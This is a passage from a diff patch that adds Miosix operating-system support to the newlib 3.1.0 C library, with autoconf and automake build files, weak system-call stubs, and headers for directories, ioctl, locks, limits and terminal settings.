';; # ECHO_T is single tab character. ++ xy) ECHO_C='\c';; ++ *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ++ ECHO_T=' ';; ++ esac;; ++*) ++ ECHO_N='-n';; ++esac ++ ++rm -f conf$$ conf$$.exe conf$$.file ++if test -d conf$$.dir; then ++ rm -f conf$$.dir/conf$$.file ++else ++ rm -f conf$$.dir ++ mkdir conf$$.dir 2>/dev/null ++fi ++if (echo >conf$$.file) 2>/dev/null; then ++ if ln -s conf$$.file conf$$ 2>/dev/null; then ++ as_ln_s='ln -s' ++ # ... but there are two gotchas: ++ # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. ++ # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. ++ # In both cases, we have to default to `cp -p'. ++ ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || ++ as_ln_s='cp -p' ++ elif ln conf$$.file conf$$ 2>/dev/null; then ++ as_ln_s=ln ++ else ++ as_ln_s='cp -p' ++ fi ++else ++ as_ln_s='cp -p' ++fi ++rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file ++rmdir conf$$.dir 2>/dev/null ++ ++ ++# as_fn_mkdir_p ++# ------------- ++# Create "$as_dir" as a directory, including parents if necessary. ++as_fn_mkdir_p () ++{ ++ ++ case $as_dir in #( ++ -*) as_dir=./$as_dir;; ++ esac ++ test -d "$as_dir" || eval $as_mkdir_p || { ++ as_dirs= ++ while :; do ++ case $as_dir in #( ++ *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( ++ *) as_qdir=$as_dir;; ++ esac ++ as_dirs="'$as_qdir' $as_dirs" ++ as_dir=`$as_dirname -- "$as_dir" || ++$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ ++ X"$as_dir" : 'X\(//\)[^/]' \| \ ++ X"$as_dir" : 'X\(//\)$' \| \ ++ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || ++$as_echo X"$as_dir" | ++ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\/\)[^/].*/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\/\)$/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\).*/{ ++ s//\1/ ++ q ++ } ++ s/.*/./; q'` ++ test -d "$as_dir" && break ++ done ++ test -z "$as_dirs" || eval "mkdir $as_dirs" ++ } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" ++ ++ ++} # as_fn_mkdir_p ++if mkdir -p . 2>/dev/null; then ++ as_mkdir_p='mkdir -p "$as_dir"' ++else ++ test -d ./-p && rmdir ./-p ++ as_mkdir_p=false ++fi ++ ++if test -x / >/dev/null 2>&1; then ++ as_test_x='test -x' ++else ++ if ls -dL / >/dev/null 2>&1; then ++ as_ls_L_option=L ++ else ++ as_ls_L_option= ++ fi ++ as_test_x=' ++ eval sh -c '\'' ++ if test -d "$1"; then ++ test -d "$1/."; ++ else ++ case $1 in #( ++ -*)set "./$1";; ++ esac; ++ case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ++ ???[sx]*):;;*)false;;esac;fi ++ '\'' sh ++ ' ++fi ++as_executable_p=$as_test_x ++ ++# Sed expression to map a string onto a valid CPP name. ++as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" ++ ++# Sed expression to map a string onto a valid variable name. ++as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" ++ ++ ++exec 6>&1 ++## ----------------------------------- ## ++## Main body of $CONFIG_STATUS script. ## ++## ----------------------------------- ## ++_ASEOF ++test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 ++ ++cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 ++# Save the log message, to keep $0 and so on meaningful, and to ++# report actual input values of CONFIG_FILES etc. instead of their ++# values after options handling. ++ac_log=" ++This file was extended by newlib $as_me 3.1.0, which was ++generated by GNU Autoconf 2.68. Invocation command line was ++ ++ CONFIG_FILES = $CONFIG_FILES ++ CONFIG_HEADERS = $CONFIG_HEADERS ++ CONFIG_LINKS = $CONFIG_LINKS ++ CONFIG_COMMANDS = $CONFIG_COMMANDS ++ $ $0 $@ ++ ++on `(hostname || uname -n) 2>/dev/null | sed 1q` ++" ++ ++_ACEOF ++ ++case $ac_config_files in *" ++"*) set x $ac_config_files; shift; ac_config_files=$*;; ++esac ++ ++ ++ ++cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ++# Files that config.status was made for. ++config_files="$ac_config_files" ++config_commands="$ac_config_commands" ++ ++_ACEOF ++ ++cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 ++ac_cs_usage="\ ++\`$as_me' instantiates files and other configuration actions ++from templates according to the current configuration. Unless the files ++and actions are specified as TAGs, all are instantiated by default. ++ ++Usage: $0 [OPTION]... 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"write failure creating $CONFIG_STATUS" "$LINENO" 5 ++ ++ ++# configure is writing to config.log, and then calls config.status. ++# config.status does its own redirection, appending to config.log. ++# Unfortunately, on DOS this fails, as config.log is still kept open ++# by configure, so config.status won't be able to write to it; its ++# output is simply discarded. So we exec the FD to /dev/null, ++# effectively closing config.log, so it can be properly (re)opened and ++# appended to by config.status. When coming back to configure, we ++# need to make the FD available again. ++if test "$no_create" != yes; then ++ ac_cs_success=: ++ ac_config_status_args= ++ test "$silent" = yes && ++ ac_config_status_args="$ac_config_status_args --quiet" ++ exec 5>/dev/null ++ $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false ++ exec 5>>config.log ++ # Use ||, not &&, to avoid exiting from the if with $? = 1, which ++ # would make configure fail if this is the last instruction. ++ $ac_cs_success || as_fn_exit 1 ++fi ++if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 ++$as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} ++fi ++ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/configure.in newlib-3.1.0/newlib/libc/sys/miosix/configure.in +--- newlib-3.1.0-old/newlib/libc/sys/miosix/configure.in 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/configure.in 2024-07-26 22:02:58.649581998 +0200 +@@ -0,0 +1,14 @@ ++dnl This is the newlib/libc/sys/miosix configure.in file. ++dnl Process this file with autoconf to produce a configure script. ++ ++AC_PREREQ(2.59) ++AC_INIT([newlib],[NEWLIB_VERSION]) ++AC_CONFIG_SRCDIR([termios.c]) ++ ++dnl Can't be done in NEWLIB_CONFIGURE because that confuses automake. ++AC_CONFIG_AUX_DIR(../../../..) ++ ++NEWLIB_CONFIGURE(../../..) ++ ++AC_CONFIG_FILES([Makefile]) ++AC_OUTPUT +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/crt0.c newlib-3.1.0/newlib/libc/sys/miosix/crt0.c +--- newlib-3.1.0-old/newlib/libc/sys/miosix/crt0.c 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/crt0.c 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,4 @@ ++/* ++ * This file is currently empty but is still required as a crt0.o ++ * is expected by the newlib build system. ++ */ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/Makefile.am newlib-3.1.0/newlib/libc/sys/miosix/Makefile.am +--- newlib-3.1.0-old/newlib/libc/sys/miosix/Makefile.am 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/Makefile.am 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,18 @@ ++## Process this file with automake to generate Makefile.in ++ ++AUTOMAKE_OPTIONS = cygnus ++ ++INCLUDES = $(NEWLIB_CFLAGS) $(CROSS_CFLAGS) $(TARGET_CFLAGS) ++ ++AM_CCASFLAGS = $(INCLUDES) ++ ++noinst_LIBRARIES = lib.a ++ ++lib_a_SOURCES = termios.c stubs.c ++lib_a_CCASFLAGS = $(AM_CCASFLAGS) ++lib_a_CFLAGS = $(AM_CFLAGS) ++ ++all-local: crt0.o ++ ++ACLOCAL_AMFLAGS = -I ../../.. -I ../../../.. ++CONFIG_STATUS_DEPENDENCIES = $(newlib_basedir)/configure.host +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/Makefile.in newlib-3.1.0/newlib/libc/sys/miosix/Makefile.in +--- newlib-3.1.0-old/newlib/libc/sys/miosix/Makefile.in 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/Makefile.in 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,446 @@ ++# Makefile.in generated by automake 1.11.6 from Makefile.am. ++# @configure_input@ ++ ++# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, ++# 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software ++# Foundation, Inc. ++# This Makefile.in is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# This program is distributed in the hope that it will be useful, ++# but WITHOUT ANY WARRANTY, to the extent permitted by law; without ++# even the implied warranty of MERCHANTABILITY or FITNESS FOR A ++# PARTICULAR PURPOSE. ++ ++@SET_MAKE@ ++ ++VPATH = @srcdir@ ++am__make_dryrun = \ ++ { \ ++ am__dry=no; \ ++ case $$MAKEFLAGS in \ ++ *\\[\ \ ]*) \ ++ echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ ++ | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ ++ *) \ ++ for am__flg in $$MAKEFLAGS; do \ ++ case $$am__flg in \ ++ *=*|--*) ;; \ ++ *n*) am__dry=yes; break;; \ ++ esac; \ ++ done;; \ ++ esac; \ ++ test $$am__dry = yes; \ ++ } ++pkgdatadir = $(datadir)/@PACKAGE@ ++pkgincludedir = $(includedir)/@PACKAGE@ ++pkglibdir = $(libdir)/@PACKAGE@ ++pkglibexecdir = $(libexecdir)/@PACKAGE@ ++am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd ++install_sh_DATA = $(install_sh) -c -m 644 ++install_sh_PROGRAM = $(install_sh) -c ++install_sh_SCRIPT = $(install_sh) -c ++INSTALL_HEADER = $(INSTALL_DATA) ++transform = $(program_transform_name) ++NORMAL_INSTALL = : ++PRE_INSTALL = : ++POST_INSTALL = : ++NORMAL_UNINSTALL = : ++PRE_UNINSTALL = : ++POST_UNINSTALL = : ++build_triplet = @build@ ++host_triplet = @host@ ++subdir = . ++DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/Makefile.am \ ++ $(top_srcdir)/configure $(am__configure_deps) \ ++ $(srcdir)/../../../../mkinstalldirs ++ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 ++am__aclocal_m4_deps = $(top_srcdir)/../../../acinclude.m4 \ ++ $(top_srcdir)/configure.in ++am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ ++ $(ACLOCAL_M4) ++am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \ ++ configure.lineno config.status.lineno ++mkinstalldirs = $(SHELL) $(top_srcdir)/../../../../mkinstalldirs ++CONFIG_CLEAN_FILES = ++CONFIG_CLEAN_VPATH_FILES = ++LIBRARIES = $(noinst_LIBRARIES) ++ARFLAGS = cru ++lib_a_AR = $(AR) $(ARFLAGS) ++lib_a_LIBADD = ++am_lib_a_OBJECTS = lib_a-termios.$(OBJEXT) lib_a-stubs.$(OBJEXT) ++lib_a_OBJECTS = $(am_lib_a_OBJECTS) ++DEFAULT_INCLUDES = -I.@am__isrc@ ++depcomp = ++am__depfiles_maybe = ++COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ ++ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) ++CCLD = $(CC) ++LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@ ++SOURCES = $(lib_a_SOURCES) ++am__can_run_installinfo = \ ++ case $$AM_UPDATE_INFO_DIR in \ ++ n|no|NO) false;; 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then \ ++ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ ++ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ ++ install; \ ++ else \ ++ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ ++ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ ++ "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ ++ fi ++mostlyclean-generic: ++ ++clean-generic: ++ ++distclean-generic: ++ -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) ++ -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) ++ ++maintainer-clean-generic: ++ @echo "This command is intended for maintainers to use" ++ @echo "it deletes files that may require special tools to rebuild." ++clean: clean-am ++ ++clean-am: clean-generic clean-noinstLIBRARIES mostlyclean-am ++ ++distclean: distclean-am ++ -rm -f $(am__CONFIG_DISTCLEAN_FILES) ++ -rm -f Makefile ++distclean-am: clean-am distclean-compile distclean-generic \ ++ distclean-tags ++ ++dvi: dvi-am ++ ++dvi-am: ++ ++html: html-am ++ ++html-am: ++ ++info: info-am ++ ++info-am: ++ ++install-data-am: ++ ++install-dvi: install-dvi-am ++ ++install-dvi-am: ++ ++install-exec-am: ++ ++install-html: install-html-am ++ ++install-html-am: ++ ++install-info: install-info-am ++ ++install-info-am: ++ ++install-man: ++ ++install-pdf: install-pdf-am ++ ++install-pdf-am: ++ ++install-ps: install-ps-am ++ ++install-ps-am: ++ ++installcheck-am: ++ ++maintainer-clean: maintainer-clean-am ++ -rm -f $(am__CONFIG_DISTCLEAN_FILES) ++ -rm -rf $(top_srcdir)/autom4te.cache ++ -rm -f Makefile ++maintainer-clean-am: distclean-am maintainer-clean-generic ++ ++mostlyclean: mostlyclean-am ++ ++mostlyclean-am: mostlyclean-compile mostlyclean-generic ++ ++pdf: pdf-am ++ ++pdf-am: ++ ++ps: ps-am ++ ++ps-am: ++ ++uninstall-am: ++ ++.MAKE: install-am install-strip ++ ++.PHONY: CTAGS GTAGS all all-am all-local am--refresh check check-am \ ++ clean clean-generic clean-noinstLIBRARIES ctags distclean \ ++ distclean-compile distclean-generic distclean-tags dvi dvi-am \ ++ html html-am info info-am install install-am install-data \ ++ install-data-am install-dvi install-dvi-am install-exec \ ++ install-exec-am install-html install-html-am install-info \ ++ install-info-am install-man install-pdf install-pdf-am \ ++ install-ps install-ps-am install-strip installcheck \ ++ installcheck-am installdirs maintainer-clean \ ++ maintainer-clean-generic mostlyclean mostlyclean-compile \ ++ mostlyclean-generic pdf pdf-am ps ps-am tags uninstall \ ++ uninstall-am ++ ++ ++all-local: crt0.o ++ ++# Tell versions [3.59,3.63) of GNU make to not export all variables. ++# Otherwise a system limit (for SysV at least) may be exceeded. ++.NOEXPORT: +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/stubs.c newlib-3.1.0/newlib/libc/sys/miosix/stubs.c +--- newlib-3.1.0-old/newlib/libc/sys/miosix/stubs.c 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/stubs.c 2025-01-24 16:17:01.356757897 +0100 +@@ -0,0 +1,98 @@ ++/* ++ * RATIONALE: these stubs exists so that an attempt to use arm-miosix-eabi-gcc ++ * to compile simple programs such as the ones used by autotools to check ++ * whether the compiler works doesn't fail. The need for this behaviour was ++ * discovered when compiling libatomic as part of GCC. ++ * None of these stubs are meant to be useful for making a program that can ++ * be executed, for now. If miosix processes are developed further, this file ++ * can be a starting point to make stdlibs more standalone. ++ */ ++ ++#include ++#include ++#include ++#include ++#include ++#include ++ ++#ifdef __getreent ++#undef __getreent ++#endif ++ ++#define AW __attribute__((weak)) ++ ++int AW __register_exitproc(int a, void (*b)(), void *c, void *d) { return 0; } ++void AW __call_exitprocs(int a, void *b) {} ++void AW _exit(int a) { for(;;) ; } ++void * AW _sbrk_r(struct _reent *a, ptrdiff_t b) { return (void*)-1; } ++void AW __malloc_lock() {} ++void AW __malloc_unlock() {} ++struct _reent * AW __getreent() { return _impure_ptr; } ++int AW _open_r( struct _reent *a, const char *b, int c, int d) { return -1; } ++int AW open(const char *a, int b, ...) { return -1; } ++int AW _close_r(struct _reent *a, int b) { return -1; } ++int AW close(int a) { return -1; } ++int AW _write_r(struct _reent *a, int b, const void *c, size_t d) { return -1; } ++int AW write(int a, const void *b, size_t c) { return -1; } ++int AW _read_r( struct _reent *a, int b, void *c, size_t d) { return -1; } ++int AW read(int a, void *b, size_t c) { return -1; } ++off_t AW _lseek_r(struct _reent *a, int b, off_t c, int d) { return -1; } ++off_t AW lseek(int a, off_t b, int c) { return -1; } ++int AW _fstat_r(struct _reent *a, int b, struct stat *c) { return -1; } ++int AW fstat(int a, struct stat *b) { return -1; } ++int AW _stat_r( struct _reent *a, const char *b, struct stat *c) { return -1; } ++int AW stat(const char *a, struct stat *b) { return -1; } ++int AW _isatty_r(struct _reent *a, int b) { return 0; } ++int AW isatty(int a) { return 0; } ++int AW _fcntl_r(struct _reent *a, int b, int c, int d) { return -1; } ++int AW fcntl(int a, int b, ...) { return -1; } ++int AW _ioctl_r(struct _reent *a, int b, int c, void *d) { return -1; } ++int AW ioctl(int a, int b, void *c) { return -1; } ++char * AW _getcwd_r(struct _reent *a, char *b, size_t c) { return 0; } ++char * AW getcwd(char *a, size_t b) { return 0; } ++int AW _chdir_r(struct _reent *a, const char *b) { return -1; } ++int AW chdir(const char *a) { return -1; } ++int AW _mkdir_r(struct _reent *a, const char *b, int c) { return -1; } ++int AW mkdir(const char *a, mode_t b) { return -1; } ++int AW _rmdir_r(struct _reent *a, const char *b) { return -1; } ++int AW rmdir(const char *a) { return -1; } ++int AW _link_r( struct _reent *a, const char *b, const char *c) { return -1; } ++int AW link(const char *a, const char *b) { return -1; } ++int AW _unlink_r(struct _reent *a, const char *b) { return -1; } ++int AW unlink(const char *a) { return -1; } ++int AW _rename_r(struct _reent *a, const char *b, const char *c) { return -1; } ++int AW rename(const char *a, const char *b) { return -1; } ++int AW getdents(unsigned int a, struct dirent *b, unsigned int c) { return -1; } ++int AW pthread_create(pthread_t *a, const pthread_attr_t *b, void *(*c)(void *), void *d) { return -1; } ++int AW pthread_join(pthread_t a, void **b) { return -1; } ++int AW pthread_detach(pthread_t a) { return -1; } ++pthread_t AW pthread_self() { return -1; } ++int AW pthread_mutex_init(pthread_mutex_t *a, const pthread_mutexattr_t *b) { return -1; } ++int AW pthread_mutex_lock(pthread_mutex_t *a) { return 0; } ++int AW pthread_mutex_unlock(pthread_mutex_t *a) { return 0; } ++int AW pthread_mutex_destroy(pthread_mutex_t *a) { return 0; } ++int AW pthread_cond_init(pthread_cond_t *a, const pthread_condattr_t *b) { return -1; } ++int AW pthread_cond_wait(pthread_cond_t *a, pthread_mutex_t *b) { return -1; } ++int AW pthread_cond_timedwait(pthread_cond_t *a, pthread_mutex_t *b, const struct timespec *c) { return -1; } ++int AW pthread_cond_signal(pthread_cond_t *a) { return -1; } ++int AW pthread_cond_broadcast(pthread_cond_t *a) { return -1; } ++int AW pthread_cond_destroy(pthread_cond_t *a) { return -1; } ++int AW pthread_once(pthread_once_t *a, void (*b)()) { return -1; } ++int AW pthread_setcancelstate(int a, int *b) { return 0; } ++int AW clock_gettime(clockid_t a, struct timespec *b) { return -1; } ++int AW clock_settime(clockid_t a, const struct timespec *b) { return -1; } ++int AW clock_getres(clockid_t a, struct timespec *b) { return -1; } ++int AW clock_nanosleep(clockid_t a, int b, ++ const struct timespec *c, struct timespec *d) { return -1; } ++clock_t AW _times_r(struct _reent *a, struct tms *b) { return -1; } ++clock_t AW times(struct tms *a) { return -1; } ++int AW _gettimeofday_r(struct _reent *a, struct timeval *b, void *c) { return -1; } ++int AW gettimeofday(struct timeval *a, void *b) { return -1; } ++int AW nanosleep(const struct timespec *a, struct timespec *b) { return -1; } ++int AW _kill_r(struct _reent* a, int b, int c) { return -1; } ++int AW kill(int a, int b) { return -1; } ++int AW _getpid_r(struct _reent* a) { return 0; } ++int AW getpid() { return 0; } ++int AW _wait_r(struct _reent *a, int *b) { return -1; } ++int AW wait(int *a) { return -1; } ++ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/dirent.h newlib-3.1.0/newlib/libc/sys/miosix/sys/dirent.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/dirent.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/dirent.h 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,62 @@ ++#ifndef _SYS_DIRENT_H ++#define _SYS_DIRENT_H ++ ++#include ++#include ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++/* ++ * This file was written to be compatible with the BSD directory ++ * routines, so it looks like it. But it was written from scratch. ++ * Sean Eric Fagan, sef@Kithrup.COM. ++ * Additionally modified for Miosix by Terraneo Federico, fede.tft@miosix.org ++ */ ++ ++#define MAXNAMLEN NAME_MAX ++ ++typedef struct __DIR ++{ ++ int dd_fd; ++ long dd_loc; ++ long dd_size; ++ char *dd_buf; ++ int dd_len; ++ long dd_seek; ++ void (*dd_onclose)(struct __DIR *); ++} DIR; ++ ++struct dirent ++{ ++ unsigned long d_ino; ++ off_t d_off; ++ unsigned short d_reclen; ++ char d_type; ++ char d_name[NAME_MAX + 1]; ++}; ++ ++enum ++{ ++ DT_UNKNOWN = 0, ++ /* Equivalent to S_XXXX in sys/stat.h, but shifted to fit in a char */ ++ DT_FIFO = 0010000>>12, ++ DT_CHR = 0020000>>12, ++ DT_DIR = 0040000>>12, ++ DT_BLK = 0060000>>12, ++ DT_REG = 0100000>>12, ++ DT_LNK = 0120000>>12, ++ DT_SOCK = 0140000>>12, ++}; ++ ++#define IFTODT(mode) (((mode) & 0170000)>>12) ++#define DTTOIF(type) ((type)<<12) ++ ++#define __dirfd(dp) ((dp)->dd_fd) ++ ++#ifdef __cplusplus ++} ++#endif ++ ++#endif +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/ioctl.h newlib-3.1.0/newlib/libc/sys/miosix/sys/ioctl.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/ioctl.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/ioctl.h 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,26 @@ ++ ++#ifndef _SYS_IOCTL_H ++#define _SYS_IOCTL_H ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++/* keep in sync with miosix/filesystem/ioctl.h */ ++enum Ioctl ++{ ++ IOCTL_SYNC=100, ++ IOCTL_TCGETATTR=101, ++ IOCTL_TCSETATTR_NOW=102, ++ IOCTL_TCSETATTR_FLUSH=103, ++ IOCTL_TCSETATTR_DRAIN=104, ++ IOCTL_FLUSH=105 ++}; ++ ++int ioctl(int fd, int cmd, void *arg); ++ ++#ifdef __cplusplus ++} ++#endif ++ ++#endif /*_SYS_IOCTL_H*/ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/lock.h newlib-3.1.0/newlib/libc/sys/miosix/sys/lock.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/lock.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/lock.h 2025-04-15 13:45:13.345969956 +0200 +@@ -0,0 +1,62 @@ ++#ifndef __SYS_LOCK_H__ ++#define __SYS_LOCK_H__ ++ ++#include <_ansi.h> ++ ++/* ++ * The Miosix filesystem code assumes off_t is a signed 64 bit type. ++ * Technically this definition should be in sys/types.h, but we don't ++ * provide a Miosix-specific version of sys/types.h yet. ++ */ ++typedef signed long long _off_t; ++#define __machine_off_t_defined 1 ++ ++/* ++ * The type of pthread_mutex_t, has been moved here from sys/types.h, because ++ * sys/types.h #includes sys/_types.h which in turn #includes sys/lock.h, ++ * and sys/lock.h actually needs to know the type of pthread_mutex_t. ++ * Unfortunately simply adding an #include sys/types.h into sys/lock.h didn't ++ * work because it caused a cyclic dependency between headers ++ */ ++ ++typedef struct ++{ ++ void *owner; /* Actually, pointer to C++ class Thread */ ++ int recursiveDepth; /* -1 = special value for non recursive */ ++ void *field1; /* Opaque fields */ ++ void *field2; /* Opaque fields */ ++ void *field3; /* Opaque fields */ ++ void *field4; /* Opaque fields */ ++ int type; /* Depending on how kernel is compiled, mutex type */ ++} pthread_mutex_t; ++ ++/* ++ * Finished declaring pthread stuff, now starting real content of lock.h ++ */ ++ ++typedef pthread_mutex_t _LOCK_T; ++typedef pthread_mutex_t _LOCK_RECURSIVE_T; ++ ++#define __LOCK_INIT(clazz,lock) clazz pthread_mutex_t lock = {0,-1,0,0,0,0,0} ++#define __LOCK_INIT_RECURSIVE(clazz,lock) clazz pthread_mutex_t lock = {0,0,0,0,0,0,0} ++#define __lock_init(lock) pthread_mutex_init(&lock,NULL) ++#define __lock_init_recursive(lock) \ ++do { \ ++ (lock).owner=0; \ ++ (lock).recursiveDepth=0; \ ++ (lock).field1=0; \ ++ (lock).field2=0; \ ++ (lock).field3=0; \ ++ (lock).field4=0; \ ++ (lock).type=0; \ ++} while(0) ++#define __lock_close(lock) pthread_mutex_destroy(&lock) ++#define __lock_close_recursive(lock) pthread_mutex_destroy(&lock) ++#define __lock_acquire(lock) pthread_mutex_lock(&lock) ++#define __lock_acquire_recursive(lock) pthread_mutex_lock(&lock) ++#define __lock_try_acquire(lock) pthread_mutex_trylock(&lock) ++#define __lock_try_acquire_recursive(lock) pthread_mutex_trylock(&lock) ++#define __lock_release(lock) pthread_mutex_unlock(&lock) ++#define __lock_release_recursive(lock) pthread_mutex_unlock(&lock) ++ ++#endif /* __SYS_LOCK_H__ */ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/syslimits.h newlib-3.1.0/newlib/libc/sys/miosix/sys/syslimits.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/syslimits.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/syslimits.h 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,20 @@ ++ ++#ifndef _SYS_SYSLIMITS_H ++#define _SYS_SYSLIMITS_H ++ ++/* ++ * Max length of command line arguments (including environment), ++ * POSIX requires at least 4096, but for now 1024 will do. ++ */ ++#define ARG_MAX 1024 ++ ++/* ++ * Max nonblocking pipe read, ++ * POSIX requires at least 512, but for now 128 will do. ++ */ ++#define PIPE_BUF 128 ++ ++#define NAME_MAX 255 /* Max filename, not including NUL, used for dirent */ ++#define PATH_MAX 512 /* Max filesystem path, including NUL */ ++ ++#endif /* _SYS_SYSLIMITS_H */ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/sys/termios.h newlib-3.1.0/newlib/libc/sys/miosix/sys/termios.h +--- newlib-3.1.0-old/newlib/libc/sys/miosix/sys/termios.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/sys/termios.h 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,113 @@ ++/* Adapted from sys/sysvi386/sys */ ++ ++#ifndef _SYS_TERMIOS_H ++#define _SYS_TERMIOS_H ++ ++/* c_iflag */ ++#define IGNBRK 000001 ++#define BRKINT 000002 ++#define IGNPAR 000004 ++#define INPCK 000020 ++#define ISTRIP 000040 ++#define INLCR 000100 ++#define IGNCR 000200 ++#define ICRNL 000400 ++#define IXON 002000 ++#define IXOFF 010000 ++#define IUTF8 040000 ++ ++/* c_oflag */ ++#define OPOST 000001 ++#define OCRNL 000004 ++#define ONLCR 000010 ++#define ONOCR 000020 ++#define ONLRET 000040 ++ ++/* c_cflag */ ++#define B0 0 ++#define B50 50 ++#define B75 75 ++#define B110 110 ++#define B134 134 ++#define B150 150 ++#define B200 200 ++#define B300 300 ++#define B600 600 ++#define B1200 1200 ++#define B1800 1800 ++#define B2400 2400 ++#define B4800 4800 ++#define B9600 9600 ++#define B19200 19200 ++#define B38400 38400 ++#define B57600 57600 ++#define B115200 115200 ++#define B230400 230400 ++ ++#define CSIZE (0x03<<24) ++#define CS5 (0x00<<24) ++#define CS6 (0x01<<24) ++#define CS7 (0x02<<24) ++#define CS8 (0x03<<24) ++#define CSTOPB (0x04<<24) ++#define PARENB (0x08<<24) ++#define PAODD (0x10<<24) ++#define CRTSCTS (0x20<<24) ++#define CREAD (0x40<<24) ++ ++/* c_lflag */ ++#define ISIG 0000001 ++#define ICANON 0000002 ++#define ECHO 0000010 ++#define ECHOE 0000020 ++#define ECHOK 0000040 ++#define ECHONL 0000100 ++#define NOFLSH 0000200 ++#define TOSTOP 0001000 ++ ++/* c_cc indices */ ++#define VEOF 4 /* also VMIN -- thanks, AT&T */ ++#define VEOL 5 /* also VTIME -- thanks again */ ++#define VERASE 2 ++#define VINTR 0 ++#define VKILL 3 ++#define VMIN 4 /* also VEOF */ ++#define VQUIT 1 ++#define 